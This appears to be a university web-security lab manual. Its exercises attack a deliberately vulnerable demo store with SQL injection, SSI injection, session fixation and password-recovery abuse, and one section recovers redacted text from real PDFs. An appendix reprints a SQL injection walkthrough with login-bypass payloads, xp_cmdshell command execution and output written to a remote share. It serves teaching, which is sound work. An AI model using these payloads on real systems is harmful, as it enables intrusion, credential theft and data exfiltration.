Section 4.2 Directory Indexing

Sometimes when you’re browsing through a web site, you see a list of files instead of a rendered HTML page.  This occurs when the website developer neglects to include an index page in the current directory, potentially exposing important files. 

Go to the main page by clicking the little plus icon with MSN written over it in the left column.

Notice the SPI Dynamics logo at the very top of the main page (Default.aspx). If you hover your mouse over the logo, you will see that it links to “/admin/show.asp.” Click on it.

If you delete the “show.asp” portion of the URL and go there, you will get a directory listing. If you click on database.mdb or WS_FTP.LOG, you will get all kinds of useful information that the site owner probably doesn’t want you to have. 
Q4.2.1 How can an administrator prevent this type of directory listing?

Section 4.3 – Predictable File Location

As the title implies, these are files that we think are probably going to exist. One of the most common files a website or piece of software will have is readme.txt. Go to the following address:

http://172.16.10.17/readme.txt

You will notice that this file not only exists, but also contains a note by the administrator. We will talk about the content of this note a little more below.

Section 4.4 – OS Commanding

In our “Predictable File Location” vulnerability, we referenced a file named readme.txt by guessing it. It contains a note from the system administrator that appears to be directed to other website developers. It looks like the Default.aspx application has a hidden administrative function called AdminMode that allows you to execute commands remotely. If you try one of the examples in this note, you will find you can execute Windows commands!

This is a huge oversight by the administrator.  They may not have meant for the file to be copied over to the main website for everyone to see, but this is a huge mistake.  You should be careful about what information you put into files that are published on your web server, or at least take the time to store them all in one central location that would be easy to sanitize once the web pages are put into the production server.
Section 4.5 – Filename Manipulation

Filename manipulation involves modifying the filename in an attempt to find backup copies of a particular file. For example, a file named index.shtml may have a backup copy named index.shtml.old or index.shtml.bak in the same directory. 
Let’s start by guessing a few filenames. We know the file http://172.16.10.17/StoreCSVS/web.config contains important information about the portal, and may contain login information for the database. By default, ASP.NET denies access to this file for security reasons (which is a good thing).

What if someone created a backup copy?

Let’s start by entering in common backup filenames. If you search for web.config.txt or web.config.old, you get nothing. If you enter web.config.bak, you will get a copy of the web.config file. This copy is more then likely just a backup, and may not always contain the same information. Either way, this information can be extremely valuable to an attacker.

Section 4.6 – SQL Injection

On the lower left corner of the website’s home page, click Recover your account password. You will see the Full Name and Email fields. If you type a single quote (apostrophe) in the Full Name field and enter a random e-mail address, and then click Submit,  the program will return “Unclosed quotation mark before the character string ‘‘‘.” This by itself will not give you any data. If you would like to extract information from the database, type the following in the Full Name field and then click Submit.
'UNION SELECT name FROM sysobjects WHERE name != ' d

This command asks the SQL server for a list of table names that store data. Now you should see the word “Categories” appear on your screen. This is the name of a table in our database. 

Next, try sending:

' UNION SELECT name FROM sysobjects WHERE name >'Categories

You will now see the word “CustomerAdd” returned. At this point, you are enumerating through the database. 

Next, send:

'UNION SELECT name FROM sysobjects WHERE name >'CustomerAdd

and you will go to the next entry.  You could keep doing this until you found all of the columns within the database.

Q4.6.1  What are the next two column names?

Section 4.7 – Information Leakage

Information leakage is when an attacker can obtain “leaked information” via un-sanitized error output.  This can include everything from a machine name to a directory path and can occur, for instance, via debug/error output within code. 
Click Munitions in the left column to access the Munitions page, then click Multi-Purpose Rubber Band. The URL displayed in the address bar is:

http://172.16.10.17/storecsvs/(<yoursessionidgoeshere>)/ProductDetails.aspx? productID=363. 

If you append a nonnumeric character after “363” and click Go, the web server will return an error message revealing the server path, a nonpublic filename (\\172.16.10.17\ibuy\StoreCSVS\ProductDetails.aspx.cs), and a few developer comments. This information gives the attacker an idea of the .NET libraries you are using, which can help aid additional attacks.

Q 4.7.1 What kind of interesting information do you see, if any?
Section 4.8 – Weak Password Recovery Validation

Most sites usually ask for your e-mail address, and then send your password to you in an e-mail.  Click Recover Your Account Password to visit the password recovery page. 
The problem with this application is that if you can provide valid Full Name and Email fields, you can recover a user’s password. There are all sorts of ways this information can be obtained. One method involves the wwwboard that we went to earlier. 
Click WWWBoard and visit the post by John Smith. If you open his post, then put your mouse over his name highlighted in blue, his e-mail address appears on the browser’s status line (jsmith@spidynamics.com). If you visit the password recovery page and enter his name and e-mail address, you will be able to get his password. The same thing works for his wife, Sarah, who replied to his post.

Q4.8.1 What is John’s password?
Section 4.9 – Server-Side Include (SSI) Injection

Visit the WWWBoard page again. Then enter your name and subject.

In the Message box, type:

<!--#include file="/storecsvs/web.config"-->

Click Post Message.

Click Go to Your Message. 

The server will execute the command to display this file.  As mentioned above, web.config is protected from people calling and viewing it from remote systems, but if it is included locally on the server and displayed within a page, then anyone can read it. The web.config contents will be displayed in the message body when you view the message after it has been posted. Below are some other SSI tags you can insert that will return data.

<!--#echo var=“DOCUMENT_URI”-->

<!--#echo var=“DATE_LOCAL”-->

<!--#exec cgi=“/web/index.asp” -->

Screenshot 5: Take a screenshot of the page returned by using <!--#echo var=“DATE_LOCAL”-->

Section 4.10 – Session Fixation

When you point your browser to http://172.16.10.17/storecsvs/, you will be redirected to a URL similar to this:

         http://172.16.10.17/storecsvs/(qzmxcoqnvxnqmvjqphhzk4ip)/Default.aspx 

The web server is not allowing you to access a resource until it has issued you a token. ASP.NET’s session state functionality puts that token (qzmxcoqnvxnqmvjqphhzk4ip) into the URL. The vulnerability demonstrated here is that you could make your own token and start using it, because ASP.NET doesn’t properly validate that it created the token. Therefore, you can make your own tokens using an easy formula. Make sure you use a-zA-Z and that your token is 24 characters long (other lengths are also valid, but this is the easiest example). Below is an example

       http://172.16.10.17/storecsvs/(ithinkthatmicrosoftrules)/Login.aspx

If you visit this page, then click on any of the URLs on the left side of the page, you will notice that the bogus token is perpetuated. In certain web applications, if you manage to trick users into using your token, it may be possible for you to hijack their accounts. Detailed information and examples on how session fixation can be exploited can be found at http://www.securiteam.com/securityreviews/6B00L206AU.html.

Section 4.11 – Insufficient Session Expiration

If you log in to login.aspx, the application will issue a cookie that contains an authorization token. This token is managed by ASP.NET’s Form Authentication, which is a popular method of handling session management. Due to a misconfiguration, the administrator of this application allows a session to be active for too long. Actually it will be valid for 100000 minutes, or 1666.66 hours. This can give enough time for this information to be cached by a proxy, and possibly exploited by an attacker. It is also noted this application allows issuing a persistent cookie (a cookie saved on your disk) that expires one month from the date you logged in.  If a website contains any sensitive information, it should not allow a persistent option.

Section 5: Really Confidential?
Background

In this section, we will see a brief demonstration on how confidential information can still be gathered from reports using software readily available to anyone.  (In this case: Adobe Acrobat Reader.)  Although both examples pertain specifically to government documents, they still demonstrate how people must be careful about how they secure their information.  In both cases, it’s obvious that the editors did not want the information to become public, and they tried to prevent it, but their methods were careless.

This entire section will use only the Windows XP image only.
Section 5.1 – Install Adobe Acrobat Reader

If your Windows XP image already has the Adobe Acrobat reader installed, then you may skip to the next section.  Otherwise, proceed with the installation as noted below.

1. Copy AdbeRdr707_en_US.exe to your XP machine from the NAS.  Open the file once it has copied.

2. Click Next on the Welcome screen.

3. Click Next to use default installation directory.

4. Click Install to begin installing.

5. Click Finish when everything is done.

The first time you open a PDF file, you will be asked to accept the license.  Just click Accept and continue.

Section 5.2 – Viewing “Confidential” Information

Now we will see how easy it can be to view confidential information.  A few years ago, when there was the sniper in holding people for ransom, the sniper released a letter with demands for money.  (It’s ok if you do not know about this incident because the background is not necessary for this lab.)  The Washington Post decided they would post the letters with the sniper’s demands online and place black boxes over the account number, PIN number, and expiration date for the bank account that he wanted the money transferred to.  This seemed simple enough, however they did not do a good job of covering the information

Copy over the two .pdf files from the NAS.

Open washpost_sniperletter.pdf [12].  Scroll around the document some, and try zooming in on the black boxes.

Q5.2.1 Did you notice anything peculiar?

Now, click on the Select button [image: image1.jpg]I» setect




 within Reader and click anywhere on page 2 of the letter.  (The lower left page.)  It should be highlighted now.  Copy the image as you would copy normal text.  Open Paint and paste the image.

Q5.2.2 What was the expiration date on the account number?

Screenshot 6: Take a screenshot of the uncensored image.

This method is even more effective when handling plain text.  
In early 2005, the Pentagon released an unclassified version of a classified report about the killing of an Italian secret agent in Iraq.  They placed black boxes over important names and facts but this information was not completely hidden [11].

For our next example, open rapportousacalipari.pdf.  (This was obtained from http://download.repubblica.it/pdf/rapportousacalipari.pdf)  Look over the document.  You’ll notice that it is marked as unclassified but that many sections and people’s names have been censored.  Everything appears to be in order, but is it really?  

Go to page 4 of the document (which is the 7th page in the pdf file).  Click on the select button.  Highlight the entire last paragraph on that page (which is almost entirely censored and begins with “(U) Route Irish is commonly referred to…”) and copy it like you would normal text.

Open any text editor and paste the text.

Q5.2.3 Did everything copy correctly (i.e. is it readable and does it make sense)?

Screenshot 7: Take a screenshot of the text you pasted.

Solutions
This section was meant to demonstrate how one must always be careful about the information they post online.  It may sound unlikely, but it is quite common for a person to post important information online.  As we’ve seen, even if one attempts to hide key information, if they do not do so completely, then their censoring work was useless and their information will be compromised.  

The easiest answer is to never post sensitive documents online, even in a censored form since it is still possible to overlook something.  However, this might not be a viable solution for some administrators.  A good idea would be to try to censor a hard copy of the document, then scan that in and post that one instead.  Another solution would be to edit the document in an image editor, then ensure that all of the layers are flattened so that there is only a single image to select, which others would not be able to break apart.
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APPENDIX A
JavaScript Reference

Below is a compressed version of the HTML DOM tutorial found at:
http://www.w3schools.com/htmldom/default.asp
It is by no means a complete reference for JavaScripts or HTML DOM, but is only meant to provide enough information to complete this lab.
HTML DOM Introduction

The HTML Document Object Model (HTML DOM) defines a standard way for accessing and manipulating HTML documents.

What is the DOM?

"The W3C Document Object Model (DOM) is a platform and language neutral interface that allows programs and scripts to dynamically access and update the content, structure, and style of a document."
The W3C DOM provides a standard set of objects for representing HTML and XML documents, and a standard interface for accessing and manipulating them.

The DOM is separated into different parts (Core, XML, and HTML) and different levels (DOM Level 1/2/3):

· Core DOM - defines a standard set of objects for any structured document

· XML DOM - defines a standard set of objects for XML documents

· HTML DOM - defines a standard set of objects for HTML documents

You can read more about the W3C DOM specifications / levels in our W3C tutorial.

What is the HTML DOM?

· The HTML DOM is the Document Object Model for HTML

· The HTML DOM is platform and language independent

· The HTML DOM defines a standard set of objects for HTML, and a standard way to access and manipulate HTML documents

· The HTML DOM is a W3C standard

The HTML DOM views HTML documents as a tree structure of elements embedded within other elements. All elements, their containing text and their attributes, can be accessed through the DOM tree. Their contents can be modified or deleted, and new elements can be created by the DOM. The elements, their text, and their attributes are all known as nodes.



An HTML DOM Example

This coding example shows how the background color of an HTML document can be changed to yellow when a user clicks on it:

	<html>

<head>

<script type="text/javascript">

function ChangeColor()

{

document.body.bgColor="yellow"

}

</script>

</head>

<body onclick="ChangeColor()">

Click on this document!

</body>

</html>


Document Objects

The HTML DOM defines HTML documents as a collection of objects.

The document object is the parent of all the other objects in an HTML document.

The document.body object represents the <body> element of the HTML document.

The document object is the parent of the body object, and the body object is a child of the document object.



Alert Box

An alert box is often used if you want to make sure information comes through to the user.

When an alert box pops up, the user will have to click "OK" to proceed. 

Syntax:
	alert("sometext")




document.write(String text) or print(String text) – Writes the String: text to the web page.
document.cookie – Reference to the cookie for the current webpage.  Returns a string.

window.location.href – Refers to the URL of the current web page.  This can be used to redirect the client’s browser.  (This is a String.)

JavaScript can write cookies where the document.cookie object is set this string:

<cookie name> = <cookie value>; expires=<cookie expiration>; path=<path>

<cookie name> - refers to the name of the cookie

<cookie value> - refers to the value of the cookie

<cookie expiration> - refers to the time when the cookie will expire, specified in GMT format.  You can use Data.toGMTString() to properly encode this format.

<path> - refers to the path that this cookie is valid for

Note: The “expires” field is set to a JavaScript Date object.  Date objects are created using the new Data() constructor which returns a Date object initialized to the current date and time.  The date/time of a date object can be set with the Date.setTime(newTime) method, where newTime is specified in milliseconds.

There are more field that can be written to the cookie, but the above ones are the most important and you will see them throughout this lab.

APPENDIX B

PHP Reference

The following is a brief reference of the PHP language. It is in no means a complete reference and only contains the relevant functions that you need for this lab. A more complete reference can be found at: 

http://www.php.net/manual/en/  
PHP is a popular scripting languages that enable developers to make dynamic web pages. Some important points include:  
· All PHP code must be contained within <?php <php code goes here> ?> tags. A shorthand for this is simply <? <php code goes here> ?>. 
· All variables in PHP are referred to by using the “$” symbol. For example, a variable called foo would be references as $foo. 
· Every line of code in PHP must end with a “;”  
The following is a list of PHP functions that you will see in the lab:  
int print ( string arg ) 
Outputs arg. Returns 1, always. Works without the parenthesis.  
void echo( string arg ) 
Same as the print() function  
resource mysql_connect( server, username, password ) 
Opens a connection to a mysql database and returns as a resource object a reference to the connection. 
bool mysql_select_db ( string database_name ) 
Sets the current active database on the server that’s associated with the specified database name. Every subsequent call to mysql_query() will be made on the active database.  
resource mysql_query ( string query )

Sends a specified SQL query to the currently active database which is set by mysql_select_db(). Results of the query are returned in a resource object.  
array mysql_fetch_assoc ( resource result ) 
Fetch a result row as an associative array. Returns an associative array that corresponds to the fetched row and moves the internal data pointer ahead.  
bool isset ( mixed var )
 
Determine whether the specified variable is set (ie if the variable exists).  
string htmlentities ( string text )
 
Convert all applicable characters to HTML entities. This function is identical to htmlspecialchars() in all ways, except with htmlentities(), all characters which have HTML character entity equivalents are translated into these entities.   
The $_GET, $_POST, and $_COOKIE are global PHP arrayvariables that refer to a web requests get, post and cookie variable’s respectively. To get a specific value from each one of these, use the [] notation.   
Example:

$_GET[“foo”] returns the HTTP get variable called foo.  
HTTP get variables are the same as variables that are passed onto the URL string.

APPENDIX C

MySQL Reference

Below are some important excerpts from the SQL tutorial found on w3schools.com.  The full lesson can be found at:
http://www.w3schools.com/sql/default.asp
This is by no means a complete guide to databases but is meant as a starting point and a reference.    Very little prior knowledge is needed for this lab.

Introduction to SQL

SQL is a standard computer language for accessing and manipulating databases.

What is SQL?

· SQL stands for Structured Query Language

· SQL allows you to access a database

· SQL is an ANSI standard computer language

· SQL can execute queries against a database

· SQL can retrieve data from a database

· SQL can insert new records in a database

· SQL can delete records from a database

· SQL can update records in a database

· SQL is easy to learn

SQL is a Standard - BUT....

SQL is an ANSI (American National Standards Institute) standard computer language for accessing and manipulating database systems. SQL statements are used to retrieve and update data in a database. SQL works with database programs like MS Access, DB2, Informix, MS SQL Server, Oracle, Sybase, etc.

Unfortunately, there are many different versions of the SQL language, but to be in compliance with the ANSI standard, they must support the same major keywords in a similar manner (such as SELECT, UPDATE, DELETE, INSERT, WHERE, and others).

Note: Most of the SQL database programs also have their own proprietary extensions in addition to the SQL standard!



SQL Database Tables

A database most often contains one or more tables. Each table is identified by a name (e.g. "Customers" or "Orders"). Tables contain records (rows) with data.

Below is an example of a table called "Persons":

	LastName
	FirstName
	Address
	City

	Hansen
	Ola
	Timoteivn 10
	Sandnes

	Svendson
	Tove
	Borgvn 23
	Sandnes

	Pettersen
	Kari
	Storgt 20
	Stavanger


The table above contains three records (one for each person) and four columns (LastName, FirstName, Address, and City).

SQL Queries 

With SQL, we can query a database and have a result set returned. 

A query like this: 

	SELECT LastName FROM Persons


Gives a result set like this: 

	LastName

	Hansen

	Svendson

	Pettersen


Note: Some database systems require a semicolon at the end of the SQL statement. We don't use the semicolon in our tutorials.

SQL Data Manipulation Language (DML)

SQL (Structured Query Language) is a syntax for executing queries. But the SQL language also includes a syntax to update, insert, and delete records.

These query and update commands together form the Data Manipulation Language (DML) part of SQL:

· SELECT - extracts data from a database table

· UPDATE - updates data in a database table

· DELETE - deletes data from a database table

· INSERT INTO - inserts new data into a database table

The SQL SELECT Statement

The SELECT statement is used to select data from a table. The tabular result is stored in a result table (called the result-set).

Syntax

	SELECT column_name(s)

FROM table_name


Note: SQL statements are not case sensitive. SELECT is the same as select.



SQL SELECT Example

To select the content of columns named "LastName" and "FirstName", from the database table called "Persons", use a SELECT statement like this:

	SELECT LastName,FirstName FROM Persons


The database table "Persons":
	LastName
	FirstName
	Address
	City

	Hansen
	Ola
	Timoteivn 10
	Sandnes

	Svendson
	Tove
	Borgvn 23
	Sandnes

	Pettersen
	Kari
	Storgt 20
	Stavanger


The result
	LastName
	FirstName

	Hansen
	Ola

	Svendson
	Tove

	Pettersen
	Kari




Select All Columns

To select all columns from the "Persons" table, use a * symbol instead of column names, like this: 

	SELECT * FROM Persons


Result
	LastName
	FirstName
	Address
	City

	Hansen
	Ola
	Timoteivn 10
	Sandnes

	Svendson
	Tove
	Borgvn 23
	Sandnes

	Pettersen
	Kari
	Storgt 20
	Stavanger




The Result Set

The result from a SQL query is stored in a result-set. Most database software systems allow navigation of the result set with programming functions, like: Move-To-First-Record, Get-Record-Content, Move-To-Next-Record, etc.

Programming functions like these are not a part of this tutorial. To learn about accessing data with function calls, please visit our ADO tutorial. 



Semicolon after SQL Statements?

Semicolon is the standard way to separate each SQL statement in database systems that allow more than one SQL statement to be executed in the same call to the server.

Some SQL tutorials end each SQL statement with a semicolon. Is this necessary? We are using MS Access and SQL Server 2000 and we do not have to put a semicolon after each SQL statement, but some database programs force you to use it.



The SELECT DISTINCT Statement

The DISTINCT keyword is used to return only distinct (different) values.

The SELECT statement returns information from table columns. But what if we only want to select distinct elements?

With SQL, all we need to do is to add a DISTINCT keyword to the SELECT statement:

Syntax

	SELECT DISTINCT column_name(s)

FROM table_name




SQL WHERE Clause



The WHERE clause is used to specify a selection criterion.



The WHERE Clause 

To conditionally select data from a table, a WHERE clause can be added to the SELECT statement.

Syntax

	SELECT column FROM table

WHERE column operator value


With the WHERE clause, the following operators can be used:

	Operator
	Description

	=
	Equal

	<>
	Not equal

	>
	Greater than

	<
	Less than

	>=
	Greater than or equal

	<=
	Less than or equal

	BETWEEN
	Between an inclusive range

	LIKE
	Search for a pattern


Note: In some versions of SQL the <> operator may be written as !=

Using the WHERE Clause

To select only the persons living in the city "Sandnes", we add a WHERE clause to the SELECT statement: 

	SELECT * FROM Persons

WHERE City='Sandnes'


"Persons" table
	LastName
	FirstName
	Address
	City
	Year

	Hansen
	Ola
	Timoteivn 10
	Sandnes
	1951

	Svendson
	Tove
	Borgvn 23
	Sandnes
	1978

	Svendson
	Stale
	Kaivn 18
	Sandnes
	1980

	Pettersen
	Kari
	Storgt 20
	Stavanger
	1960


Result
	LastName
	FirstName
	Address
	City
	Year

	Hansen
	Ola
	Timoteivn 10
	Sandnes
	1951

	Svendson
	Tove
	Borgvn 23
	Sandnes
	1978

	Svendson
	Stale
	Kaivn 18
	Sandnes
	1980




Using Quotes

Note that we have used single quotes around the conditional values in the examples.

SQL uses single quotes around text values (most database systems will also accept double quotes). Numeric values should not be enclosed in quotes.

For text values:

	This is correct:

SELECT * FROM Persons WHERE FirstName='Tove'

This is wrong:

SELECT * FROM Persons WHERE FirstName=Tove


For numeric values:

	This is correct:

SELECT * FROM Persons WHERE Year>1965

This is wrong:

SELECT * FROM Persons WHERE Year>'1965'




The LIKE Condition 

The LIKE condition is used to specify a search for a pattern in a column. 

Syntax

	SELECT column FROM table

WHERE column LIKE pattern


A "%" sign can be used to define wildcards (missing letters in the pattern) both before and after the pattern.



Using LIKE

The following SQL statement will return persons with first names that start with an 'O':

	SELECT * FROM Persons

WHERE FirstName LIKE 'O%'


The following SQL statement will return persons with first names that end with an 'a':

	SELECT * FROM Persons

WHERE FirstName LIKE '%a'


The following SQL statement will return persons with first names that contain the pattern 'la':

	SELECT * FROM Persons

WHERE FirstName LIKE '%la%'




SQL Functions

SQL has a lot of built-in functions for counting and calculations.



Function Syntax

The syntax for built-in SQL functions is:

	SELECT function(column) FROM table




Types of Functions

There are several basic types and categories of functions in SQL. The basic types of functions are: 

· Aggregate Functions

· Scalar functions

Aggregate functions

Aggregate functions operate against a collection of values, but return a single value.

Note: If used among many other expressions in the item list of a SELECT statement, the SELECT must have a GROUP BY clause!!

"Persons" table (used in most examples)

	Name
	Age

	Hansen, Ola
	34

	Svendson, Tove
	45

	Pettersen, Kari
	19


Aggregate functions in MS Access

	Function
	Description

	AVG(column)
	Returns the average value of a column

	COUNT(column)
	Returns the number of rows (without a NULL value) of a column

	COUNT(*)
	Returns the number of selected rows

	FIRST(column)
	Returns the value of the first record in a specified field

	LAST(column)
	Returns the value of the last record in a specified field

	MAX(column)
	Returns the highest value of a column

	MIN(column)
	Returns the lowest value of a column

	STDEV(column)
	 

	STDEVP(column)
	 

	SUM(column)
	Returns the total sum of a column

	VAR(column)
	 

	VARP(column)
	 


Aggregate functions in SQL Server

	Function
	Description

	AVG(column)
	Returns the average value of a column

	BINARY_CHECKSUM
	 

	CHECKSUM
	 

	CHECKSUM_AGG
	 

	COUNT(column)
	Returns the number of rows (without a NULL value) of a column

	COUNT(*)
	Returns the number of selected rows

	COUNT(DISTINCT column)
	Returns the number of distinct results

	FIRST(column)
	Returns the value of the first record in a specified field (not supported in SQLServer2K)

	LAST(column)
	Returns the value of the last record in a specified field (not supported in SQLServer2K)

	MAX(column)
	Returns the highest value of a column

	MIN(column)
	Returns the lowest value of a column

	STDEV(column)
	 

	STDEVP(column)
	 

	SUM(column)
	Returns the total sum of a column

	VAR(column)
	 

	VARP(column)
	 




Scalar functions

Scalar functions operate against a single value, and return a single value based on the input value.

Useful Scalar Functions in MS Access

	Function
	Description

	UCASE(c)
	Converts a field to upper case

	LCASE(c)
	Converts a field to lower case

	MID(c,start[,end])
	Extract characters from a text field

	LEN(c)
	Returns the length of a text field

	INSTR(c,char)
	Returns the numeric position of a named character within a text field

	LEFT(c,number_of_char)
	Return the left part of a text field requested

	RIGHT(c,number_of_char)
	Return the right part of a text field requested

	ROUND(c,decimals)
	Rounds a numeric field to the number of decimals specified

	MOD(x,y)
	Returns the remainder of a division operation

	NOW()
	Returns the current system date

	FORMAT(c,format)
	Changes the way a field is displayed

	DATEDIFF(d,date1,date2)
	Used to perform date calculations


APPENDIX D

PHP Cookie Reference

http://www.freewebmasterhelp.com/tutorials/cookies/2 
Introduction

This section of the tutorial covers the use of the PHP scripting language to set and read cookies. Cookies in PHP are not difficult to implement, and there are only two commands that need to be used with them. PHP makes it easy to set and read cookies and provides all the features needed to give their details.

Setting a Basic Cookie

The PHP function for setting cookies is called:

setcookie()

It is a PHP function which can be used without returning a value (for example you can simply execute a setcookie()) command, or you can take the return value and use it. The setcookie() function returns a boolean (true or false) value depending on whether it is successful. So you could execute:

if(setcookie())
{
echo "Cookie set";
}
else
{
echo "Cookie not set";
}

For the purposes of this tutorial, though, we will not be using the return value, instead simply setting the cookie.

The most basic information for a cookie is it's name and it's value. The name of the cookie must be something which you can refer to it later as. You don't need to worry about it clashing with other sites as cookie names are site specific but you should try and use a descriptive and unique name for your cookies.

For this first example, assume that you have used PHP to load the user's name into the variable $name and want to greet the user in the future by their name. You would need to create a cookie which stores their name as follows:

setcookie("UsersName",$name);

This creates the most basic of cookies, storing the user's name in a cookie called 'UsersName'. By setting cookies like this, you don't set any specific options, so by default the cookie will be available to the domain in which it was set (e.g. yoursite.com) and will be deleted when the user closes their browser.

Reading Cookie Values

PHP makes it extremely simple to read the value of a cookie. In PHP, reading form values are achieved using $_GET and $_POST. PHP has a similar global variable for cookies:

$_COOKIE['CookieName'];

This variable contains the value of the cookie with name 'CookieName'. So on your website, if you wanted to display the name of the user, you could simply use the following:

echo "Hello, ".$_COOKIE['UsersName']."! Welcome back!";

Of course, the user may not already have the cookie, so you should use the PHP function isset. This returns true if a variable has been set and false if not. Using this, your site could do the following:

if(isset($_COOKIE['UsersName'])
{
echo "Hello, ".$_COOKIE['UsersName']."! Welcome back!";
}
else
{
setcookie("UsersName",$name);
}


Cookie Settings

Although the code I have given you allows you to set a simple cookie on the user's computer, it isn't very powerful because, for example, it is lost when the browser closes. One of the most powerful features of cookies is the ability to set and expiry date for the cookie. The cookie will remain on the users computer until the expiry date, then will automatically delete itself.

To set a cookie with an expiry date, use:

setcookie("UsersName", $name, time()+3600);

This code takes the current time (using time()) and then adds 3600 seconds to it, and uses this value to set as the expiry time for the cookie. Basically this means that the cookie will remain on the user's computer for an hour (it expires 3600 seconds (1 hour) from the current time). For one week (for example) you would set the cookie as:

setcookie("UsersName", $name, time()+604800);

There are three other options which can be used when setting cookies. Firstly the path. This refers to where in the domain you are able to access the cookie in future. By default this is the current directory (so if you set the cookie at the page: www.mysite.com/scripts/setcookie.php, it would only be available to scripts in the scripts directory and below). You can set this to any part of your site, though, which can be useful in some situations.

A second setting you can change is the domain. By default, a cookie is only available in the domain you set it in, for example if you set the cookie on www.mysite.com you can only ever access it from www.mysite.com (and not mail.mysite.com etc.). The most common need to change this setting is to allow the cookie to be viewed across all subdomains of a site. This can be done by setting the domain to .yoursite.com (with both .s). By doing this anything.yoursite.com is accepted, not just www.yoursite.com.

Finally, a cookie has the option to be set as a secure cookie. If this is turned on, the cookie will only ever be surrendered to the site over a secure connection, not an insecure one.

The following code shows the imiplementation of a cookie with all settings specified:

setcookie("UsersName", $name, time()+3600, "/", ".mysite.com", 1);

The cookie set here, is called 'UsersName' and again stores the value $name. It will expire an hour from the current time. It is available in all directories of the site (/ is the root directory). It is available across any subdomain of the site mysite.com as '.mysite.com' has been given as the domain. The final 1 means that this is a secure cookie, and can only be transmitted over a secure connection. This would be 0 for a standard (non-secure) cookie.

Deleting Cookies

There are occasions on which you may wish to delete a cookie from a user's computer. This could be if, for example, you want to log the user out of a system (perhaps they are on a public computer). Deleting a cookie is quite simple to do because all you have to do is to set the expiry time in the past. By doing this, the cookie will be automatically deleted as soon as it is created, and will remove any data that already exists there. The simplest way is using:

setcookie("UsersName", "", time()-3600);

This sets the expiry time in the past so it should be deleted immediately. There is also no information stored in the cookie.

There is a known problem with this, though. Although it works in most cases, there can be problems if a user's timezone is set wrongly. The safest way to completely delete a cookie is to use the following:

setcookie("UsersName", "", mktime(12,0,0,1, 1, 1990));

The mktime() function is a PHP function for setting up a time specified. The time specified here is in the year 1990, so even a badly configured computer should still delete the cookie immediately.

Conclusion

This short section of the tutorial should cover all the information you will need to set up, manage and delete cookies in PHP. Using other PHP scripting techniques you can store more data in a cookie (for example using it to interface with a database). All the information here, though, should allow you to do practically anything you need to with your cookie. If you want to learn about cookies with other programming languages, this same information is available in the other parts of the tutorial for them.
APPENDIX E
SQL Injection Walkthrough
This is a write-up describing SQL injections and is meant for beginners.  It can be found at the SecuriTeam website:

http://www.securiteam.com/securityreviews/5DP0N1P76E.html
1.0 Introduction
When a machine has only port 80 opened, your most trusted vulnerability scanner cannot return anything useful, and you know that the admin always patch his server, we have to turn to web hacking. SQL injection is one of type of web hacking that require nothing but port 80 and it might just work even if the admin is patch-happy. It attacks on the web application (like ASP, JSP, PHP, CGI, etc) itself rather than on the web server or services running in the OS.

This article does not introduce anything new, SQL injection has been widely written and used in the wild. We wrote the article because we would like to document some of our pen-test using SQL injection and hope that it may be of some use to others. You may find a trick or two but please check out the "9.0 Where can I get more info?" for people who truly deserve credit for developing many techniques in SQL injection.

1.1 What is SQL Injection?
It is a trick to inject SQL query/command as an input possibly via web pages. Many web pages take parameters from web user, and make SQL query to the database. Take for instance when a user login, web page that user name and password and make SQL query to the database to check if a user has valid name and password. With SQL Injection, it is possible for us to send crafted user name and/or password field that will change the SQL query and thus grant us something else.

1.2 What do you need?
Any web browser.

2.0 What you should look for?
Try to look for pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send parameters to another ASP page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for "FORM" tag in the HTML code. You may find something like this in some HTML codes:
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>

Everything between the <FORM> and </FORM> have potential parameters that might be useful (exploit wise).


2.1 What if you can't find any page that takes input?
You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look especially for URL that takes parameters, like:

http://duck/index.asp?id=10

3.0 How do you test if it is vulnerable?
Start with a single quote trick. Input something like:

hi' or 1=1--

Into login, or password, or even in the URL. Example:
 - Login: hi' or 1=1--
 - Pass: hi' or 1=1--
 - http://duck/index.asp?id=hi' or 1=1--

If you must do this with a hidden field, just download the source HTML from the site, save it in your hard disk, modify the URL and hidden field accordingly. Example:

<FORM action=http://duck/Search/search.asp method=post>
<input type=hidden name=A value="hi' or 1=1--">
</FORM>

If luck is on your side, you will get login without any login name or password. 

3.1 But why ' or 1=1--?
Let us look at another example why ' or 1=1-- is important. Other than bypassing login, it is also possible to view extra information that is not normally available. Take an asp page that will link you to another page with the following URL:

http://duck/index.asp?category=food

In the URL, 'category' is the variable name, and 'food' is the value assigned to the variable. In order to do that, an ASP might contain the following code (OK, this is the actual code that we created for this exercise):

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)

As we can see, our variable will be wrapped into v_cat and thus the SQL statement should become:

SELECT * FROM product WHERE PCategory='food'

The query should return a resultset containing one or more rows that match the WHERE condition, in this case, 'food'.

Now, assume that we change the URL into something like this:

http://duck/index.asp?category=food' or 1=1--

Now, our variable v_cat equals to "food' or 1=1-- ", if we substitute this in the SQL query, we will have:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

The query now should now select everything from the product table regardless if PCategory is equal to 'food' or not. A double dash "--" tell MS SQL server ignore the rest of the query, which will get rid of the last hanging single quote ('). Sometimes, it may be possible to replace double dash with single hash "#".

However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try

' or 'a'='a

The SQL query will now become:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

It should return the same result.

Depending on the actual SQL query, you may have to try some of these possibilities:

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

4.0 How do I get remote execution with SQL injection?
Being able to inject SQL command usually mean, we can execute any SQL query at will. Default installation of MS SQL Server is running as SYSTEM, which is equivalent to Administrator access in Windows. We can use stored procedures like master..xp_cmdshell to perform remote execution:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Try using double quote (") if single quote (') is not working.

The semi colon will end the current SQL query and thus allow you to start a new SQL command. To verify that the command executed successfully, you can listen to ICMP packet from 10.10.1.2, check if there is any packet from the server:

#tcpdump icmp

If you do not get any ping request from the server, and get error message indicating permission error, it is possible that the administrator has limited Web User access to these stored procedures.

5.0 How to get output of my SQL query?
It is possible to use sp_makewebtask to write your query into an HTML:

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

